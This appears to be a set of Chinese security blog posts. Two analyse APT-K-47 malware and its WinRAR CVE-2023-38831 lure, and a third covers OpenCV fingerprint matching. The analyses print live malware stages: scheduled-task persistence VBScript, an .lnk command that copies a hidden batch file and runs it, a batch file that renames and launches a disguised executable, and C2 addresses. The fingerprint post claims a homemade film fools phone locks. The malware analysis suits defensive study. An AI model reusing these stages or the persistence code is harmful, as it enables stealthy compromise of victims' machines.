    cMinute = "0" & Minute(time)
    CHour = "0" & Hour(time)
    cDay = "0" & Day(time)
    cMonth = "0" & Month(time)
    cYear = Year(time)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    startTime = tDate & "T" & tTime

    endTime = "2099-05-02T10:52:02"   '持续运行到 2099 年
    trigger.StartBoundary = startTime
    trigger.EndBoundary = endTime
    trigger.ID = "TimeTriggerId"
    trigger.Enabled = True

    Dim repetitionPattern
    Set repetitionPattern = trigger.Repetition
    repetitionPattern.Interval = "PT59M" '
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = shellPath
    Action.arguments = ""
    Dim objNet, LoginUser
    Set objNet = CreateObject("WScript.Network")
    LoginUser = objNet.UserName

        If UCase(LoginUser) = "SYSTEM" Then
        Else
        LoginUser = Empty
        End If

    Call rootFolder.RegisterTaskDefinition(taskName, taskDefinition, 6, LoginUser, , 3)

Anx.exe MD5值:316e8d798f7db625c207532e2f7a5d38

image

存在混淆加密,exeinfo查看一下:

image

ConfuserEx 可以用 de4dot 进行反编译,

使用ConfuserEx加密混淆程序以及如何脱壳反编译-CSDN博客

然后拿dnspy得到原本逻辑

exe由C#语言编写

Sysconfig.enc 的解密函数:

image

    private static string smethod_2(string string_2, byte[] byte_1)
    {
        string result;
        try
        {
            byte[] buffer = Class0.smethod_3(File.ReadAllText(string_2));
            using (Aes aes = Aes.Create())
            {
                aes.Key = byte_1;
                using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    byte[] array = new byte[16];
                    memoryStream.Read(array, 0, array.Length);
                    aes.IV = array;
                    using (ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV))
                    {
                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
                        {
                            using (StreamReader streamReader = new StreamReader(cryptoStream))
                            {
                                result = streamReader.ReadToEnd();
                            }
                        }
                    }
                }
            }
        }

很明显的AES解密,

image

AES类型是CBC,

Key:CABE08AAAD1B49AABEE701762A39ADF2865EE10160F9A726ACC8B7589FA2BF0C

image

IV:image

得到:

image

IP:46.183.187.42​ Port:443

微步标签如下:

image

image
image

此外,在样本中我们发现有多余的快捷方式

image

通过追踪该文件MD5 ae55cb4988f2f45197132631f5a86632​,可以关联到具有类似压缩包目录结构的钓鱼样本。

参考链接

APT-K-47 武器披露之 Asyncshell 的前世今生

疑似 Mysterious Elephant 组织利用 CHM 文件攻击南亚多国

APT-K-47 Asyncshell Version1 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

该样本于2024年1月捕获,MD5:2fe895b10d493cfef981aa708bbcc12d

同期样本MD5

ce6a589d5e3604112e5595a1f8d53e1e

751f427da8e11d8ab394574260735220

样本分析:

md5值:2fe895b10d493cfef981aa708bbcc12d

部分十六进制:

image

可以看到该文件是zip压缩包,将其解压后得到新的rar压缩包,文件名:AbroadDuty.rar,

md5值:7a2c0e0a7ac1d8b91654e762a098f120

再次解压可得到MOM.pdf​以及同名文件夹

image

MOM.pdf md5:c28d5cfe0141aa093f078d7e9ab3257e

文件内容与政府工作报告相关:

image

~temp​目录下得到另外的~temp​文件夹以及AbroadDuty.pdf​,经校验md5发现与MOM.pdf​属于同一文件

在目录MoM.pdf_\~temp\~temp\~temp\~temp\~temp\~temp\~temp\~temp\​得到真正的攻击载荷

image

此处利用CVE-2023-38831, WinRAR 的逻辑漏洞,在处理精心设计的压缩包时会导致多余的临时文件扩展,再加上在尝试打开扩展名包含空格的文件时 Windows ShellExecute 执行其中的恶意代码。当用户尝试查看 ZIP 存档中的正常文件(例如普通的 PNG 文件)时,该漏洞允许攻击者执行任意代码。

0.jpg md5:b804da107e65d18c1fa585b00dc10a4f

MoM.pdf .lnk md5:6a405d4e88b4acb9706e19a83aad9cf6

put.png md5:ce6a589d5e3604112e5595a1f8d53e1e

MoM.pdf .lnk内容:

image

%windir%\system32\cmd.exe /c for /f "delims=" %F in ('where /r %Temp% 0.jpg 2^>nul') do copy "%F" "%F.bat" & "%F.bat"

运行后会调用cmd进行递归搜索 %Temp%​ 目录寻找 0.jpg​ 文件,然后将找到的 0.jpg​ 文件复制为同名的 .bat​ 批处理文件并且执行它

0.jpg:

image

@echo 0ff
pushd "%~dp0"
rename *.png *.exe
start /min put.exe
start Mom.pdf
exit

关闭回显,将批处理所在的路径设为当前路径,将当前目录下的png文件统一更改为exe文件,此时put.png更名为put.exe,最小化启动put.exe,启动Mom.pdf文件,执行完后退出。

put.png:

image

发现是exe可执行程序

image

image

经分析发现,该恶意程序通过连接C2服务器完成cmd shell,C2的IP地址明文写到程序中

image

185.243.113.187
Connected to server.
Error connecting to the server: AConnection lost. Reconnecting...
Error executing command: !Error occurred: Attempting to reconnect in {0} seconds...
Exiting the application.
Max reconnection attempts reached. 
Exiting the application.
exit)
Server disconnected.
'cmd/c powershellCommand: 
Output:

微步标签:

image

image

一丢丢的 FingerPrint Analysis

好久没有更新技术文章了,写写最近研究的小玩意。

image​​aa0f388fc1dd3ddb01864eb95513d4a

(下边就是我自己做的指纹膜,实操后是可以绕过一些签到机和手机指纹锁的)

我们的指纹为什么能用于解密手机?因为每个人的指纹都是独一无二、终生不变的,手机通过识别模块收集指纹信息,与之前存储在手机中的指纹信息进行对比,匹配成功即可解锁。

原理很简单,但是实现起来并不轻松。

指纹采集技术获取的指纹图像通常为二维灰度图像,其中脊线是暗的,而谷线是亮的。虽然指纹图像并不是深度图像,但是通过将灰度视为高度,可以将指纹显示为曲面(越黑越高),近似反映了实际手指皮肤上的高低起伏。成人脊线的宽度从0.1毫米到0.3毫米不等,脊线的周期约为0.5毫米。手指的轻微损伤,如表皮烧伤、擦伤或割伤,不会影响真皮层的脊线结构,新长出的皮肤还会恢复为原来的脊线结果,这就是指纹的终生不变性。

image

指纹增强

但是指纹图像常常会受到噪声、光照变化、模糊等影响,因此我们需要对目标指纹图片进行图片增强

image

CLAHE (Contrast Limited Adaptive Histogram Equalization), 一种增强图像对比度的方法,特别适用于局部图像区域的对比度调整,基于直方图均衡化,但对比度的增强是自适应的,并通过一个限制因子 (clipLimit) 来避免过度增强噪声。

自适应阈值化, 一种将图像转换为二值图像的方法,通过在每个局部区域内计算阈值来进行分割,而不是使用全局固定阈值,与传统的全局阈值化方法不同,自适应阈值化能够根据局部区域的不同亮度特征自动调整阈值,在图像中亮度不均匀或噪声较多的情况下,能够较好地分割出指纹区域。

def preprocess_fingerprint(image):
    # 检查图像格式并转换为灰度
    if len(image.shape) == 3:
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    else:
        gray = image

    # CLAHE 增强对比度
    clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))
    enhanced = clahe.apply(gray)

    # 自适应阈值化
    binary = cv2.adaptiveThreshold(
        enhanced, 255,
        cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
        cv2.THRESH_BINARY,
        blockSize=11,
        C=2
    )
    return binary

指纹关键点提取

SIFT(Scale-Invariant Feature Transform,尺度不变特征变换)是一种计算机视觉算法,用于从图像中提取局部特征点,并对它们进行描述和匹配,具体分为五步:

1. 尺度空间构造

为了找到图像的特征点,SIFT 构造了一组尺度空间来检测关键点。

  • 高斯模糊 (Gaussian Blur) :通过逐渐增加高斯核的标准差 $\sigma$,对图像进行多次模糊,得到多尺度图像。
  • 高斯差分 (DoG) :用相邻的模糊图像相减构造差分图像(Difference of Gaussian, DoG),公式为:

    $D(x, y, \sigma) = L(x, y, k\sigma) - L(x, y, \sigma)$

  • 其中 $L(x, y, \sigma)$ 是高斯模糊图像。

2. 关键点检测

DoG 图像中,关键点通过极值检测找到:

  • 每个像素点在其当前尺度的 $3 \times 3$ 邻域,以及上下相邻尺度的 $3 \times 3$ 邻域中,寻找局部极值点。

3. 关键点过滤

为了确保关键点的稳定性和准确性,SIFT 对检测到的关键点进行了进一步优化:

  • 去掉低对比度点:如果关键点的 DoG 值低于某个阈值,丢弃。
  • 去掉边缘响应点:通过计算 Hessian 矩阵,去除对边缘敏感的关键点。

4. 关键点方向分配

为实现旋转不变性,SIFT 为每个关键点分配一个主方向:

  • 以关键点为中心,计算邻域内像素的梯度幅值和方向。
  • 构建方向直方图(36个bin,覆盖 $0^\circ$ 到 $360^\circ$)。
  • 主方向是直方图中幅值最大的方向,必要时添加次方向。

5. 生成特征描述符

根据关键点的尺度和方向,计算关键点周围区域的描述。

但是当我们尝试利用 SIFT 算法进行关键点信息提取识别时,就会发现本算法会对关键点进行全局匹配,这可能导致对一些局部区域的错配,尤其是在旋转、位移或纹理局部损坏的情况下。

因此为减小误差,我们还要限制一下特征匹配的范围,即:

  • 提取指纹图像的核心区域(ROI,Region of Interest),只在ROI内进行匹配。
  • ROI可以通过二值化后提取连通区域,定位指纹的主要部分。

我们还可以添加几何约束,比如:

  • 角度一致性:匹配点之间的相对角度。
  • 距离一致性:匹配点之间的距离。
# === 提取 SIFT 关键点与描述符 ===
def extract_keypoints_sift(image):
    sift = cv2.SIFT_create()
    keypoints, descriptors = sift.detectAndCompute(image, None)
    return keypoints, descriptors

# === 匹配 SIFT 关键点 ===
def match_sift_keypoints(desc1, desc2, kp1, kp2):
    bf = cv2.BFMatcher(cv2.NORM_L2, crossCheck=True)
    matches = bf.match(desc1, desc2)

    filtered_matches = []
    for match in matches:
        pt1 = kp1[match.queryIdx].pt
        pt2 = kp2[match.trainIdx].pt
        distance = np.linalg.norm(np.array(pt1) - np.array(pt2))
        if distance < 100:  # 距离阈值
            filtered_matches.append(match)

    return sorted(filtered_matches, key=lambda x: x.distance)
# === ROI 提取函数 ===
def extract_roi(binary_image):
    contours, _ = cv2.findContours(binary_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        x, y, w, h = cv2.boundingRect(largest_contour)
        roi = binary_image[y:y + h, x:x + w]
        return roi, (x, y, w, h)
    return binary_image, None

骨架化(脊线提取)

骨架化(脊线提取)是指在指纹图像中提取脊线(即指纹的主要纹理结构)的一种过程,在骨架化中腐蚀操作可以逐步去除图像边缘,膨胀则恢复图像的区域,结合腐蚀和膨胀,逐渐提取出指纹的细节;我们用到了 skimage 库中的 skeletonize​ 函数来进行骨架化。

# === 骨架化(脊线提取) ===
def extract_ridges(image):
    inverted = cv2.bitwise_not(image)
    skeleton = skeletonize(inverted // 255)
    skeleton = (skeleton * 255).astype(np.uint8)
    return skeleton

而在指纹形成脊线的同时,也产生了重要的关键点,也是指纹的独特标识符:

在脊线分裂成两条脊线的地方,我们称为分叉点,即指纹的脊线在某一点发生了分叉,形成两个方向。

当脊线到达某个点后终止的位置,我们称为端点,即脊线的尽头,没有继续延伸下去。

# === 提取分叉点和端点 ===
def extract_minutiae(skeleton):
    minutiae = []
    for y in range(1, skeleton.shape[0] - 1):
        for x in range(1, skeleton.shape[1] - 1):
            if skeleton[y, x] == 255:
                neighbors = skeleton[y - 1:y + 2, x - 1:x + 2].sum() // 255
                if neighbors == 2:  # 端点
                    minutiae.append((x, y, 'ending'))
                elif neighbors > 3:  # 分叉点
                    minutiae.append((x, y, 'bifurcation'))
    return minutiae
# 如果一个脊线像素周围只有一个相邻的脊线像素,那么该像素是一个端点。
# 如果一个脊线像素周围有三个或更多的相邻脊线像素,那么该像素是一个分叉点。

统计与计算

这个地方我们综合分析,两种算法的结果都要尊重,因此最后我们进行加权:

# === 计算匹配率 ===
def calculate_match_ratio(kp1, kp2, matches):
    return len(matches) / max(len(kp1), len(kp2))

# === 综合特征匹配函数 ===
def compare_fingerprints(img1, img2):
    binary1 = preprocess_fingerprint(img1)
    binary2 = preprocess_fingerprint(img2)

    roi1, _ = extract_roi(binary1)
    roi2, _ = extract_roi(binary2)

    # SIFT 匹配
    kp1, desc1 = extract_keypoints_sift(roi1)
    kp2, desc2 = extract_keypoints_sift(roi2)
    matches = match_sift_keypoints(desc1, desc2, kp1, kp2)
    sift_ratio = calculate_match_ratio(kp1, kp2, matches)

    # 脊线特征匹配
    ridge1 = extract_ridges(roi1)
    ridge2 = extract_ridges(roi2)
    minutiae1 = extract_minutiae(ridge1)
    minutiae2 = extract_minutiae(ridge2)
    minutiae_matches = len(set(minutiae1) & set(minutiae2))
    ridge_ratio = minutiae_matches / max(len(minutiae1), len(minutiae2))

    # 加权融合得分
    final_score = 0.7 * sift_ratio + 0.3 * ridge_ratio

    return final_score, matches, sift_ratio, ridge_ratio

处理结果

  1. 100.png:这个是原图,两个对比率均为100%

image

  1. 100_0.png:结果是对的,这两个确实来自同一个人,图片来源:Andrey_Kuzmin/Shutterstock

image

image

改进?

改进肯定是有的,例如在局部脊线方向和频率估计上,我们采用二维傅里叶变换检测局部区域的多个候选正弦波,然后利用相邻区域正弦波的连续性来确定正确的脊线方向和频率。

指纹识别中的傅里叶变换_matlab中如何计算指纹图像脊线的方向场与频率场-CSDN博客

还有背景纹理去除、指纹残缺等问题亟需解决,另外如何加入LLM,利用AI识别也是一个新的发展方向......指纹识别的道路也是任重道远,就算是上面写的这个我也是更迭了10个版本,不停地优化信息提取算法以及可视化分析,也只能算是小打小闹,上不得台面,希望大家还是多多批评指正🙏。